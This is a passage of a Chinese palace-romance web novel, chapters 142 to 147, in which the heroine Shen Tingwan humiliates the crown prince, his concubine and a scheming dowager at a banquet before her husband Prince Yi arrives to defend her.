这下子,叶雪初是彻底的老实了,吓的立马把双手都挂在了那下人的脖子上,白皙的小脸更是吓得又惨白了几分。 "哎哎哎,叶才人,男女授受不亲啊!您快放开小的啊,别等到时候上了岸,您再不识好人心反咬我一口,那小的找谁说理去啊?" 下人也脸色一变,忙把双手举过头顶,面朝着众人,又扬声的说:“各位夫人,小姐发发善心给小的作证啊,小的可没再碰这位叶才人!” 下人的话,顿时引起众人哄堂大笑起来。 眼看着周围都是看她热闹的,就连她身边的下人都对她一脸嫌弃,叶雪初是想死的心都有了。 但是她知道,她不能死! 沈听晚那个贱人还没死的,她要死也得杀了那个贱人再说! 叶雪初死死地咬紧牙关:“废话那么多的,我可是太子殿下的人,你要是不把我救上去,太子殿下不会放过你们!” 下人听到耳边传来的威胁声音,脸色也是一沉,随后又道:“那叶才人,咱可说好啊,小的可没占你便宜,您上去了可别抓着小的不放!” 第142章 告状 丑话可是都得说在前头的,万一叶才人说话不算数,那他岂不是亏大了。 叶雪初气得恨不得把眼前这下人的嘴给缝上,她咬牙切齿:“赶紧救我上去!” 到最后,叶雪初还是被那下人不情不愿地救上了岸。 然而,她身上的华服早已被池水浸透,紧紧贴在身上,勾勒出曼妙的曲线,胸前的凹凸更是毫不掩饰地展现在众人眼前。 不少害羞的夫人见了也直摇头,连忙拉着自己女儿往回走。 啧啧啧。 这样的丢人现眼。 要是他们的女儿,他们宁愿这个女儿在荷花池里泡臭了,也别上来丢人的好。 叶雪初清晰地感受到周遭投来的嫌恶,鄙夷,甚至还有几道不怀好意的目光,她的脸色瞬间变得惨白,整个身体摇摇欲坠,险些没晕死过去。 还不如现在就晕死了呢,也免得看这帮人的白眼。 可好死不死那莲花池里的水寒凉刺骨。已上岸一阵冷风吹在身上,叶雪初她现在比任何人都清醒。 沈听晚看着头顶上顶着烂水草,浑身被黑黢黢的污泥浸透,冷笑一声:“自食恶果。” 这能怨得了谁? 人在做,天在看,叶雪初她自己不怀好意,谁也救不了她。 懒得再继续看叶雪初的狼狈样,沈听晚转身便要抬脚离开,可当转过身去,一抬眼,便迎面撞到了君宁玄那高大的身影。 君宁玄的视线也朝着沈听晚的方向看过来,然而,却见沈听晚压根就没打算要理他似的。 他眉头紧锁,眼中闪过一抹不悦。 这个女人是没看见他吗? 也不说过来打个招呼? “殿下,呜呜,可算是来了,不然妾身就要被人欺负死了!” 君宁玄的心里正恼火着,边便传来了叶雪初凄惨的声音,转头下意识看过去,才发现自己的才人浑身狼狈的站在那里,整个人摇摇欲坠的,小脸也是难看的不行。 “初儿!”君宁玄的心头猛地一滞,也顾不得沈听晚刚才的无视,大步朝着叶雪初的方向奔去,声音中满是焦急:“初儿,这是怎么了?是谁把你弄成这样的?” 叶雪初一看见太子来了,瞬间仿佛找到了主心骨似的,哭得那叫一个梨花带雨,我见犹怜。 “呜呜呜,太子殿下,你一定要给妾身做主啊,妾身不过是一不小心得罪了王妃娘娘,可是王妃娘娘她,竟然命手下的人把妾身丢到了荷花池里去,妾身好冷啊,呜呜呜……” 沈听晚看了叶雪初一眼,心里都不得不佩服她这告状的本事真不是盖的。 至少她在这方面确实是自愧不如。 君宁玄再一次听到沈听晚的名字,浓密的眉瞬间拧到了一团,见着沈听晚要走的脚步,瞬间呵斥道:“沈听晚,你敢走!” 沈听晚停下脚步,转头看了一眼:“太子殿下有何事?” “明知故问,你为何要把初儿推进荷花池! 你知不知道现在是深秋,这里的水有多冷?万一初儿有什么三长两短,你能承受得起吗!” “呵。”沈听晚轻笑一声,语气中带着几分嘲讽:“这话说的,太子殿下,你要不要先问问叶才人,刚才究竟是怎么掉进水里的?” 君宁玄的身形微微一顿,脸上的怒气也僵住了一瞬,下意识低头看向怀中的叶雪初。 叶雪初见着情况不妙,立刻装出一副虚弱不堪,马上就要晕厥的模样,声音微弱地开口:“是……是妾身的错,太子殿下,妾身被人踹到荷花池里,也是妾身自作自受。” 说着,她还朝着沈听晚的方向,小心翼翼地瞥了两眼。 那副战战兢兢的样子,仿佛是受到了天大的惊吓,是在沈听晚的威逼利诱之下,才不得不说出的这番委屈的话。 沈听晚冷笑一声。 的确是自作自受! 君宁玄最是看不了叶雪初这副柔弱不堪的模样,这副样子,换做是哪个男人?也免不了被激发保护欲,也没了理智的瞪向沈听晚。 “一定是你,太子厌恶你不愿娶你为太子妃,就拿初而撒气,沈听晚,你好歹毒的心肠啊!” 叶雪初此时也不甘示弱,她故意将受伤的一侧脸转向君宁玄,抬手轻轻扬了扬手腕上的袖子,将手腕处被春婳捏出的青紫痕迹故意显露出来:“太子殿下,您消消气,为了妾身不值得动怒。 王妃娘娘说得对,妾身身份低微,不过是太子殿下的一个才人,难登大雅之堂,王妃娘娘教训妾身一顿也是应该的……” “沈听晚!你算什么东西,还敢教训初儿,你打她了?!” 叶雪初的话一出口,君宁玄便彻底没了理智,满眼怒火的瞪着沈听晚,你更是惊的不敢置信。 这个女人是疯了不成! 当众打人,还有那些话,是能从一个女人口中说出来的话吗! 见着君宁玄怒火冲天,躲在他怀里的叶雪初,却是最为得意的。 沈听晚这个贱人,今天你死定了! 她刚才受到的所有屈辱,今日一定全都让沈听晚双倍偿还。 “君宁玄,你到底要不要看看你自己在说些什么呀?”沈听晚眨了眨眼,却并未否认。 她做过的事情,她认。 但认了又何妨,君宁玄能把她怎么样。 “沈听晚,谁允许你称呼本太子明慧的,太子看你是被皇叔宠坏了,无法无天,本太子今天就替皇叔好好教训教训你!” 君宁玄放下叶雪初,也不顾叶雪初此时的境遇,便朝着沈听晚的方向大步走去。 今天,他无论如何也要给沈听晚一点教训,不出了心里的那口恶气,他都怕自己回去被气得睡不着觉。 然而,大步走到沈听晚的跟前之后,却不见眼前的人眼底有半点畏惧之色,而是满眼平静的看着自己。 君宁玄动作一顿,心里疑惑着,不自觉地出声:“沈听晚,你还有什么话要说?” 只见沈听晚点点头:“有。” 君宁玄又是一愣。 下一秒,便见沈听晚缓缓抬了抬手,朝着君宁玄的脸上指了指:“太子殿下眼睛里有眼屎。” 君宁玄:“……” 在场的众人:“……”一时之间也忍不住想笑。 第143章 她的命有那么好杀吗 可碍于君宁玄的身份是太子,想笑也不敢笑,只能强憋着,差点憋出内伤来。 叶雪初简直不敢相信自己的耳朵! 沈听晚这个贱人,究竟在说些什么! 她真的疯了! 春婳站在沈听晚的身后,很是不给面子的笑出了声来。 哈哈哈! 他们王妃娘娘的这张嘴啊,牛啊牛啊! 冬卉从暗处现身出来索性便成了明卫,和春婳一起站在沈听晚的身后,就不善言辞的她,此时嘴角也勾起了一抹笑。 王妃娘娘的确不是一般人! “沈听晚!” 君宁玄反应过后,气得满脸通红,能够感觉到周围人那强忍着笑意的脸色,更是恨不得把沈听晚千刀万剐了。 沈听晚眉头蹙了蹙,有些厌倦的又掏了掏耳朵:“太子殿下,你到底有事儿没有?” “有这功夫,你还不如去多关心关心你的才人,她现在可是马上就要被人看光光了哦!” 叶雪初现在的处境其实并不好过,浑身被泥水浸湿,整个人看上去狼狈的不行,而且她今天穿的衣服还是收腰的裙摆,这会儿衣服被浸湿了,全部都紧贴在叶雪初的身体。 不得不说,叶雪初的身材是真实不错,算得上是那种凹凸有致的类型,沈听晚看了看自己的小身板,都有些自卑了。 哎。 以后还是得多补一补啊。 看看人家那身材,在看看自己…… 啧啧啧,简直没眼看。 “沈听晚,本太子今天非杀了你不可!” 君宁玄的怒火此时也是只冲天灵感,不管不顾的抬腿就要朝着沈听晚的身上踹过去。 “杀我?”沈听晚也怒气也噌的一下被点燃了,冷声道质问。 她就纳闷了,怎么谁都想着要杀她呢? 太后如此,皇帝如此,君宁玄现在更是如此。 她沈听晚的命,难道就这么好杀吗? 眼看着君宁玄的脚就要挨到沈听晚的身上了,她索性也不等身后的春婳和冬卉动手,抬脚一步上前,一手稳稳抓住君宁玄的腿,紧接着一个用力向上抬去 “啊!疼疼疼……” 沈听晚把君宁玄的一条腿举过头顶,只见这君宁玄的脸上瞬间露出痛苦之色来。 她是最懂得人体经脉的,并未松开君宁玄的脚踝,而是以迅雷不及掩耳之际,在君宁玄的腿上随意点了两下。 下一瞬。 众人只听到扑通一声巨响。 君宁玄摔倒在地。 紧接着,便见刚才还满脸尽是怒气,想要教训沈听晚的太子,捧着自己的一条腿,痛苦的倒在地上疼的直打滚。 “沈听晚,你……你对本太子做了什么!” 他的腿为什么这么疼? 君宁玄咬牙切齿的怒喝着,语气中。能够听得出来满是冰冷与怒火。 不过,沈听晚却并不在意一点,毕竟就有这么一种人,不叫他吃点教训,叫他疼在身上,是永远都学不会便乖的。 “太子殿下,本王妃还是那句话,要给你的才人撑腰,最好还是先搞清楚情况,看看先挑起事端的人究竟是谁吧,别到时候给人撑腰,却被别人当刀来使。” 愚蠢至极。 沈听晚看着眼前的君宁玄,脸上赫然写着“愚蠢”两个大字,心中更为感慨。 就这样的蠢货,究竟是怎么当上太子的? 不得不说,君宁玄其他别的不行,但投胎的本事却是一绝的。 如果不是托生到皇后肚子里,估计这辈子也就那样了。 沈听晚微微抬着眼,满眼尽是讥讽之色。 君宁玄看着沈听晚的眼睛,心仿佛突然间漏了半拍似的。 不知道为什么眼前的这个死女人,明明是在骂他,可是君宁玄好像一点也生不起来气。 好像她说的,也在理…… 从小就贵为太子,所有人都告诉他,将会是未来的东陵天子,周遭的人对他无一不是因为他的身份阿谀奉承,他听不到一句真话。 可是在沈听晚这里,却不一样。 沈听晚从来都不会吝啬对他的出言不逊…… 他不喜欢沈听晚这个女人,可她身上却有着一股劲儿,是君宁玄在其他女人身上,从来都没有见过的。 “这沈家的姑娘还真是好生厉害啊,连太子都敢打,还大言不惭的辱骂太子,老身有生之年,从来都没见过这么嚣张的姑娘,沈家真是养的一个好女儿啊!” 突然,不远处传来一到老夫人满是讽刺与鄙夷的声音。 沈听晚朝着声音的方向看过去,眼前亮了。 来了! 她等了半点的人,可算是出现了。 只见不远处站着的不是那永国公老妇人,君宁玄的外祖母又是何人呢。 此时,永国公老夫人眼底也满是愤怒。 本身她就不喜欢沈家,更觉得沈家的这个姑娘娇蛮任性,原本还庆幸她和自己孙子的婚事吹了,也没想到今天来参加宴会还能碰上。 真是晦气。 沈听晚看着眼前的永国公老夫人,只见他一身酱紫色锦缎长衣,盘着发髻,面相上看起来就是一副刁钻不好惹的,身后不远处还站着一排的随从。 “老夫人。” …… 一众人等见了永国公老夫人到了,也纷纷屈身行礼,心里暗自替沈听晚担心起来。 这永国公老夫人可最是护犊子,今天沈听晚打了她的外孙子,老夫人肯定不会轻易饶了沈听晚的。 不过,众人都估计这永国公老夫人的身份和年纪,可沈听晚可半点都不惯着。 只见人堆里所有人,都屈下半个身子行礼,唯独只有沈听晚一个人,直不楞腾的站在那,看上去扎眼极了。 永国公老夫人睨了一眼,随即冷哼道:“见了老身,还不快速速行礼,沈家就是这么教你规矩啊?就是你母亲站在老身的面前,有点儿规规矩矩的给老身行一礼,算什么东西?” 沈听晚一脸无辜的眨眨眼,露出一抹温良无害的笑意来:“我是人,哪有人把自己比作东西的啊,还是说老夫人您算东西?” 她的语气轻快的很,在这一丝令人不寒而栗的语气继续说:“好有,本王妃是太后娘娘赐婚给翊王殿下的翊王正妃,出了太后,陛下,皇后娘娘,其他人怕是都当不起本王妃这一礼。” 第144章 诅咒王爷的罪名不知道老妇人能不能担得起 沈听晚说的也确实是如此,虽然眼前的永国公老夫人算是长辈,但和翊王可没有什么关系,说破了天也不过是君宁玄一个人的长辈而已。 这些年来,永国公仗着自己是天子岳丈,在外要求所有人都对他以国丈之礼,难不成还真把自己当成皇帝岳丈了? 永国公老夫人眯起浑浊的双眼,目光如刀般紧盯着沈听晚,嘴角勾起一抹冷意,声音中带着几分讥讽:“翊王妃的这张嘴还真是伶牙俐齿!” 她刚才故意没说沈听晚是翊王妃,也是想要给沈听晚一个难看,却没想向,这死丫头还是个厉害的! 沈听晚微微扬起下巴,脸上挂着温婉得体的笑容,仿佛听不出永国公老夫人话中的讽刺,乖巧的看着他:“多谢老夫人夸奖,本王妃倒是觉得自己还差些,确实需要找人好生历练历练呢。” 当然历练的话,沈听晚也不过是说说而已。 有这帮人在,还用得着她特意去找人历练吗。 “翊王妃,你是真听不懂老身的话是在夸你还是骂你啊!”永国公老夫人气得手指微微发颤,声音陡然提高。 她从来没想过,有一天一个小黄毛丫头都能爬到她的脖颈子上来了! 沈听晚轻蔑的嗤笑一声:“那不然如何呢?老夫人是想要看到我撞墙自尽,还是直接扎进这池塘埂子里淹死啊?” 抱歉呢。 她可不会让要她命的人如愿。 永国公老夫人抬头看着她,见着沈听晚嘴边挂着的讽刺与冷意的笑,一时间愣住了。 “王妃娘娘,你纵然对我和太子有再多不满,但永国公老夫人毕竟是长辈,你怎好如此顶撞老夫人啊?” 这个时候,叶雪初不知道哪根筋又搭错了,站出来出口开始维护起了永国公老夫人。 永国公老夫人可是她最后的底牌了,她绝不能让沈听晚又一丝翻身的机会。 今天,沈听晚这个贱人不敬长辈的罪名,她必须要给这个贱人坐实了! 然而,叶雪初的话音刚落,沈听晚便冷笑着哼了一声:“叶才人,你是不是搞错了,永国公老夫人是你和太子的长辈,跟本王妃有什么关系?还有,按辈分来讲,本王妃也算是你的长辈呢,怎么还需要本王妃来教你规矩礼数啊?” 沈听晚说完,抚了抚衣裙上的浮灰,转眼又冷冷回眸看过去:“还是说,叶才人又忘了规矩,需不需要本王妃派人再教你一变呢?” “你!” “你住口!”永国公老夫人眉头紧蹙,冷眼睨过去。 丢人现眼的玩意。 看看她把自己弄得满身都是泥的样子,像什么话! 永国公老夫人现在真是后悔,她从前看走了眼,以为这个叶雪初是个好的,不成想,半点都帮不到她外孙子一点,反而到处给太子惹是生非! 沈听晚见着永国公老夫人的样子,也瞬间来了兴致,嘴角挂着盈盈浅笑。 好家伙,这是准备要起内讧了吗? 要上演狗咬狗一嘴毛了,哈哈哈,好看,她爱看,再多咬一会儿。 叶雪初的脸色陡的惨白无血色。 她恶狠狠的瞪了沈听晚一眼,但碍于永国公老夫人,只能强忍着不发,死死的咬着唇,就连嘴里充满了血腥味儿,她都丝毫没有察觉。 永国公老夫人见着叶雪初安分下来,脸色也缓和了几分,转眼又看向沈听晚,语气不善的又道:“翊王妃,说到底你对老身不敬倒也不算什么大事,但你对太子动手,那可是打破了天,太子是未来储君,你敢打他就是在打未来的天子,你可知罪吗?” “知罪?本王妃要知什么罪啊。” “如果按照这么说的话,本王妃也算是太子的皇婶,也是他的长辈,太子犯了错,我这个做长辈的连说两句都不行吗? 至于老夫人口中说我打太子,简直无稽之谈,要不要先问问在场的人,究竟是谁先动的手,而本王妃的巴掌又什么时候打在了太子的身上了吗?” 永国公老夫人沉下脸:“哼,惯会拿翊王当你的挡箭牌是吧,老身看,也多亏了翊王病重,本就命不久矣,不然见着王妃在外这副德行,被你立马气死了不可!” 沈听晚冷笑一声:“说的好像老夫人是大夫似的,怎么老夫人给王爷诊过脉象?” “自然没有……” “那老夫人怎么言之凿凿地诅咒王爷命不久矣呢?”沈听晚步步紧逼,声音陡然提高:“知道的大家觉得是老夫人关心王爷安慰,不知道的,还以为老夫人巴不得王爷尽早死了呢!诅咒王爷,这罪名可不小啊,老夫人身为陛下岳母,可能担当得起吗?” “沈听晚!我外祖母不是这个意思,你别曲解她的话!”君宁玄不满的看过去。 他不怪刚才沈听晚对他下狠手,也不怪她方才在这么多人面前辱骂他,可永国公老夫人是他的外祖母,沈听晚就不能对他外祖母不敬! 看着自己的外孙子都为了自己说话,永国公老夫人也是倍感欣慰。 她这个外孙子,果真是没白疼啊。 “这说起来,也一年多没见过翊王了,老身年纪大了,也不知道有生之年还能不能再见翊王一面了呢。”永国公老夫人笑着开口,可话里话外的语气却是充满了讽刺与不屑。 这个马上就要过了气的王妃,很快就成寡妇了,她还有什么嚣张的资本敢在她面前造次。 等君翊那个病秧子一死,这世上就再没有人能保护得了这个死丫头。 到时候,她们永国公府要杀死沈听晚,不就是捏死一只蚂蚁那么简单吗? 众人听了永国公老夫人的话,也是一阵唏嘘。 是啊,翊王的身子全京城上下无人不知,沈听晚此番的确是在作茧自缚啊。 永国公府,再怎么说在京城也是地位极高的,得罪了永国公老夫人,以后哪里会有好果子吃? 可在场众人的心思沈听晚却不知道,当然,就算是知道了也不屑一顾。 沈听晚站直了身子,正准备要开口说什么,便见不远处一道礼官高唱:“翊王殿下到!” 第145章 有姑爷在,谁敢欺负晚晚 翊王殿下?! 听到礼官的声音响起,在场的众人无一不向自己身后看过去,在看到君翊坐在轮椅上,浑身却没有一丝病态,一头乌黑墨发用玉冠束起,露出清隽的面庞,瞳孔如琉璃。深沉似海,却不减威严之气。 沈听晚也下意识看过去,在看到君翊的那张脸果然出现在她面前时,整个人都愣住了。 君翊这家伙怎么来了? 昨天也没听他提起他也来参加这周岁宴啊。 早知道他来,她就跟着君翊一道来了啊。 沈听晚心里是这样想的。 “这……真的是翊王殿下?!” “不是说王爷病重了吗,怎么看王爷浑身精神气十足,根本没有一点病态啊!” “你们快别说了,王爷过来了……” 在场的众人纷纷小声议论着,男男女女根本没办法遮挡住自己眼中的惊艳之色。 还有不少未婚的少女看向君翊的目光,还带着小姑娘的娇羞之色,默不作声的挤到人前,就是希望王爷能够多看上她两眼。 周遭的人议论纷纷。 无一不是在惊叹他们的翊王殿下又回来了。 即便是男人们看到君翊的身影,都是半点也挪不开双眼。 特别是君宁玄,他看着自己的那个原本只能躺在床上生褥疮的瘫子皇叔,竟然有朝一日能够出现在他的眼前,君宁玄藏在锦袍之下的双手也死死握紧了拳头。 君翊的眉眼天生带着点高冷,嘴角扯了一抹不咸不淡的弧度,一双漆黑的眸子扫视着屋内的众人。 待众人的心底莫名被君翊盯得有些发紧时,君翊才又收回视线吩咐暗祁把他推到沈听晚的身边。 沈听晚此时心里也很是诧异的问:“你怎么来了?”当然,更多的则是惊喜。 暗祁站在君翊的身后,笑吟吟开口:“王爷是担心王妃娘娘,一早便命属下去买了一张轮椅,耽搁了些时间。” 沈听晚更为意外,原来她大清早上没看到君翊的身影,是因为去买轮椅了? 君翊的目光直直的盯着沈听晚,不禁有些懊恼,他早上不应该出门的,他应该和小姑娘一起来参加宴会。 君翊声线低头的说:“很美。” 惹得沈听晚的小脸顿时一红。 没个正型! 在场的众人看着突然出现的君翊,下意识去看他的脸,有紧盯着君翊的那双长腿。 男人穿着玄色锦袍,在阳光的照耀下,闪着五彩斑斓的黑,原本脸上的病态全无,在看男人的手,微微抬起下一瞬,便牵起了沈听晚的小手包裹在掌心当中。 翊王殿下这是……能动了?! 这还是曾经的那个“玉面战神”。 即便是坐在轮椅之上,却也自带锋芒,和一年前那个在战场上意气风发的战王没有差别。 要说真的有什么变化的话,那就是翊王殿下似乎便柔和了不少。 当然,这种温柔,只限于对翊王妃的。 翊王与翊王妃两人当中牵手的画面,成了整个后院一道极其靓丽的风景线。 更让人无法不重新看待眼前这位他们刚才还有些轻视的翊王妃。 能够看得出来,翊王殿下对沈听晚格外重视。 永国公老夫人的脸在看到君翊地身影之后,便一直耷拉着,似乎都要掉在地上了。 谁能告诉她,这到底发生了什么? 为什么君翊会出现? 他不是应该快死了吗? 叶雪初也傻了眼,紧接着却又开始嫉妒起沈听晚这个贱人。 她满眼能发出一抹阴沉之色,长长的指甲陷进肉里,她却仿佛感受不到半点疼痛。 沈听晚这个贱人,为什么会有这么好的命! 为什么,全京城所有的好男人,都和沈听晚有关系! 太子是,翊王更是。 叶雪初原本以为,她抢走了太子,沈听晚将会成为一个人人唾骂的弃妇,可是却并没有,她转身竟然嫁给了翊王。 嫁给翊王也就拿了,原本翊王的寿命只剩下还不到半年的光景,叶雪初又觉得,这个贱人很快就要变成寡妇了.。 可现在呢? 翊王竟然离奇般的好了! 为什么,这个贱人的命就这么好? 然而,沈听晚如果现在知道叶雪初的心思,只会不屑的摇摇头。 君宁玄算是什么好男人吗? 除了顶着一个岌岌可危的太子之位,其他一无是处,不知道那天就要被人顶了位置呢。 至于君翊。 嗯…… 沈听晚想,他勉强能算上是一个好男人吧。 只见在场的夫人小姐吗,一个个视线都好似粘在了这突然间闯入人堆里的男人身上。 可君翊的眼里却没有任何人。 只有,他的小姑娘。 他在看她。 她也是。 看着小姑娘发髻上的流苏随着她的小动作,微微轻晃动着,一双大大的眼睛里,闪过一抹疑惑。 君翊这家伙,干嘛当众牵她的手啊? 不是,怎么还越握越紧了呢! 沈听晚眼底的神色由疑惑转为不满,俊美的柳叶晚晚眉,也不禁拧了拧。 她现在严重怀疑,这家伙是在得寸进尺。 沈听晚用威胁的眼神警告着君翊别乱来,然而君翊就仿佛看不懂一般,将视线收回,可手上的力度丝毫未减,既不会握疼小姑娘的手,也不会让她有趁机抽走的机会。 从正厅里听说了自己女儿在外面被人欺负的沈夫人也一路风风火火赶来。 正准备撸起休息,打算老母鸡护小鸡仔的沈夫人,在看到自己女儿身边的翊王时,也立马停住了脚,就站在那,一脸欣慰的欣赏着那道风景线。 身后的嬷嬷不禁开口:“夫人,你不去护着小姐啦?” 沈夫人转头嗔怪的瞪了一眼,笑吟吟的道:“有姑爷在,谁还能欺负到晚晚啊。” 她若是在过去,那就是画蛇添足啦。 看了半天,沈夫人也放心的转过身去:“走,回去吧,咱们继续看看那小奶娃娃。” 沈夫人是很喜欢小孩的,就感觉小孩子身上奶乎乎的,白白胖胖,可爱的很。 只可惜,那孩子不是她的孙子或者外孙子。 沈夫人想到这里,不禁叹了口气。 也不知道晚晚和姑爷什么时候能给她生一个小外孙出来,这样她每天都有营生做了。 第146章 夫人怎么不期待公子的孩子呢 身后的嬷嬷不禁又问:“夫人,您怎么不期待一下公子的孩子呢?” 那可是夫人的正经孙子啊。 沈夫人又是叹气,翻了个白眼:“那小子,现在连媳妇都没有呢,指望着他给我生孙子,估计我都要黄土埋半截了!” 其实也不是沈时修有多差,连媳妇都讨不到。 恰恰相反,正因为沈时修太过优秀了,小小年纪就当上了大理寺少卿,自打弱冠礼过后,到沈家来说看的媒婆都快要那将军府的门槛给踩烂了,可是沈时修就是不给面子,一个也不同意。 本应着父母之命,媒妁之言,沈夫人原本想着,先给自己儿子相看个好的,到时候先斩后奏,直接让儿子成亲入洞房。 哪成想,自己儿子却给她来那么一出动之以情,晓之以理。 沈时修当时的原话是:“若是不能寻得两人真心相爱的良人,他宁愿终身不娶!” 沈夫人当然是大怒骂沈时修是个混账东西。 换做其他男子,沈时修这个年纪的,孩子都满地爬了,他还在找那个意中人呢。 结果沈时修就搬出来了沈夫人和沈将军从前的爱情故事,称父亲在找到母亲这个良人之前,随时可也不小了啊,也是二十五六岁了,怎么不见祖母催婚呢! 他现在才二十一岁,着什么急? 弄得沈夫人和沈将军两人是哑口无言。 再开口催促沈世修找媳妇,结果他就撂下最后一句话,便彻底的叫沈夫人歇了火。 沈世修说:“母亲要是在比儿子,那儿子明天就带回来一个男子和他成亲!” 眼看着自己那么大的一个好儿子,就快要被自己逼成断袖了,沈夫人是彻底被这话给吓着了。 从那往后,沈夫人便把沈时修给放养了。 他爱什么时候娶媳妇就啥时候娶吧,总之到最后别给她带回来一个男人成亲她就烧高香了! 对于沈时修这个儿子,沈夫人是不抱有什么希望了,不过女儿嘛,还是能盼一盼的。 沈夫人乐呵呵的走出后院回了前厅。 既然晚晚现在还没有孩子,那她就先稀罕稀罕别人家的奶娃娃,找一找以后当外祖母的感觉吧。 沈夫人过来过这么一趟,沈听晚是没注意到的,她现在正在和君翊暗中叫着劲。 沈听晚想把手抽走,在众人面前,被人看着两人当众握手,她还觉得挺不自在的。 哪成想,君翊压根就不给她这个机会! 沈听晚的手抽离一点,君翊就重新握一大截,直到把沈听晚整只小手包裹在掌心当中,才心满意足。 沈听晚心里那叫一个气恼的很啊,但面上却不能表现出来分毫,毕竟还有那么多人看着呢,总不能真的让外人看了笑话。 直到君翊拉着沈听晚的小手,往自己的怀里轻轻一拉。 沈听晚的身体不受控制的倾斜,在这千钧一发之际,沈听晚一个慌神下意识抬起另外一只手支撑在轮椅手柄上,尽可能的不被君翊拽进他的怀里。 然而,这个动作,在众人的眼里就已经很暧昧了。 人群中就如同炸了锅似的,突然一下爆开了。 “我的天!我看到了什么??!” “翊王殿下和王妃竟然要当众接……吻??” “啊啊啊,还我的翊王啊,翊王是我的!” “没眼看,没眼看,光天化日之下,成何体统啊?” 不少夫人小姐震惊不敢置信,更是几人哭泣几人嫉妒啊。 !!! 听到众人的惊叹声,沈听晚这才反应过来,她可君翊现在的动作,换个不同的角度来看,就是在接……吻! 不少人都纷纷朝着沈听晚的身上看过去,震惊之余,那眼底还夹杂着一丝羡慕与嫉妒。 哎! 多好的一颗小白菜啊,就这么让人给啃了! 当然,小白菜自然指的是翊王殿下,而那个人说的才是沈听晚。 沈听晚彻底的怒了,恼羞成怒的瞪着圆溜溜的大眼睛:“君翊,你干什么!”用着只有两个人能听到的声音沉声质问道。 只见君翊微微勾起唇角,露出一抹若有似无的笑意,身子微微前倾,薄而温润的唇靠近沈听晚的耳畔,低语呢喃了两句。 听到君翊的话,沈听晚是瞬间没了脾气。 她深吸一口气。 好好好! 君翊给她来这么一出是吧? 是她答应了在外人面前,做一对正常恩爱的小夫妻对吧? 行! 那她就让君翊看看,她是怎么做一个合格的妻子的! 沈听晚也是怒气上了头,也不知道是不是被胜负欲所驱使,她竟然不服输的转头,在君翊的身子还没有来得及向后仰之际,沈听晚像是豁出去了那般。 用尽全力挣脱开君翊的手,随即双手碰住君翊那张帅脸,然后“吧嗒”一口,亲在了君翊的薄唇上。 !!! 啊啊啊! “那个女人究竟在干什么……” “完了完了,我的殿下不清白了,呜呜呜……” ……… 君翊也没想到沈听晚突然之间竟然给他当众一吻,身体僵住一瞬,只觉得呼吸都变得有些沉重了起来。 然而只那么一瞬,沈听晚的身子便立马离开了,站直身子看也不再看君翊一眼。 面对沈听晚刚刚投来的蜻蜓点水般,碰了碰就离开的吻,君翊还没尝尝滋味来就撤走了,心里有些空唠唠的失落感。 君翊深吸一口气,如果不是因为有外人在场,他真恨不得把小姑娘重新拉回来,然后狠狠的再亲一口! 君翊心里是有些失望的,但沈听晚此时却是大脑成一团浆糊。 她刚才做了什么? 她亲了君翊? 沈听晚的脑袋发蒙,感觉周围的温度直线上升,心口疯狂的乱跳。 脸颊上传来火辣辣的热感,心里乱七八糟的一团乱麻。 “不知廉耻!这么多人在,翊王妃,你还要不要脸了!”永国公老夫人是彻底忍受不住了。 她年纪大了,和自己夫君已经很久没有这么过分亲热了。 如果不是有这夫妻名分在,永国公老夫人都感觉自己身边睡着的是一个和她毫不相关的人。 可这个小贱蹄子呢,她竟然当众刺激她。 永国公老夫人实在是受不了了! 第147章 给小姑娘撑腰 “怎么,本王和王妃何时亲热,还得需要经过永国公老夫人的同意吗?” 沈听晚还没反应过来,没来得及开口说什么,君翊便不满的冷声质问,眉宇间带着明显的不悦。 小姑娘好不容易和他有了点亲密的举动,这还是他和小姑娘第一次亲吻,可不能让这老妖婆子吓着小姑娘。 万一小姑娘以后都不敢了,那他以后的性福生活找谁去? 永国公这个老妖婆子他能陪自己一个一模一样的小姑娘吗! 永国公老夫人被这番话怼得哑口无言,脸颊涨得通红,额角青筋隐隐跳动。 然而君翊却并未打算就此放过这妖婆子,他慢条斯理地抬起眼眸,目光如刀,语气不紧不慢:“本王听说,老夫人日思夜想,盼着见本王一面?莫非是觉得有生之年再难相见了?” 永国公老夫人一时语塞,额上渗出细密汗珠。 这话她方才确实说过…… 可她哪里能想到,君翊就在这附近不远啊,还把她刚才羞辱那个贱蹄子的话听了个全程! 永国公老夫人一脸的汗颜:“是……啊不是,老身是许久不见翊王殿下,心里确实想念的紧……” “本王还听说,在本王卧床这一年,竟不知道什么时候多出来了一个长辈,永国公老夫人,你何时成了本王的长辈了?” 她也配吗? 永国公老夫人心里又是咯噔一下,狠狠地抽了抽嘴角,一脸心虚:“是老身……失言了。” “哼!” 君翊轻哼一声,却不再多言,只是这一哼,却告诉在场的所有人,他是站在谁身后的。 眼看着行事逐渐变得紧张起来,一众看客都忍不住想要逃离,在和这个时候走,欲意太过明显了。 不然还有几个人是不肯走的,她们都想着要多看君翊两眼,至于这紧张的氛围嘛…… 和她们有什么关系? 刚才欺负人家王妃的,又不是她们。 “本王倒是许久未见人了,竟不知京城中多出这许多倚老卖老之辈。”君翊此言一出,字字如针,直刺永国公老夫人的心窝。 这话,君翊就是用来当众羞辱永国公老夫人的。 刚才小姑娘就是被老妖婆子这么欺负的,他引在暗处,可是听的一清二楚。 所以没那个时候现身,是想要看看这老妖婆子究竟还能再说出什么话来。 没想到竟是越说越离谱。 他也是实在忍不住,也实在看不得小姑娘受一丁点的委屈。 “还有太子!你刚在是要打本王的妻?” 君翊话锋一转,又转眼一道冷厉的目光扫到君宁玄的身上。 君宁玄被这一记冷眼吓得浑身一激灵,脸色瞬间白了几分,却不甘心的忍不住反驳:“侄儿不敢,方才分明是沈听晚……” 君翊听了立马不乐意了,俊眉紧皱,冷声质问道:“你叫本王的妻什么?” 沈听晚? 是他能叫的吗? 君宁玄发白的脸色又转为青紫:“是皇婶,是她先把侄儿的才人推下水的,侄儿也是为自己的女人打抱不平……” 君宁玄的话越说越心虚,到最后,只能听到如蚊呐般的细不可闻。 “才人?说到底连个妾都不如,现在一个妾,你就要当众动手打自己的长辈,猪狗不如。”君翊的嘴角扬起讽刺,毫不客气的说着。 君宁玄的头紧低着,连抬都不敢抬一下,生怕对上他皇叔的那双犀利的眸子。 叶雪初也自然是还不到哪里去的,当她听到翊王口中说出她的身份连一个妾室都不如的时候,一股极其强大的屈辱感涌上心头。 她现在所以只能是一个才人的身份,究竟怪谁! 还不是怪沈听晚那个贱人,翊王的王妃吗! 可是这些话她却不能说,也不敢说。 叶雪初知道,今天所承受的屈辱,因为有翊王的到来,她只能硬生生的咽下去。 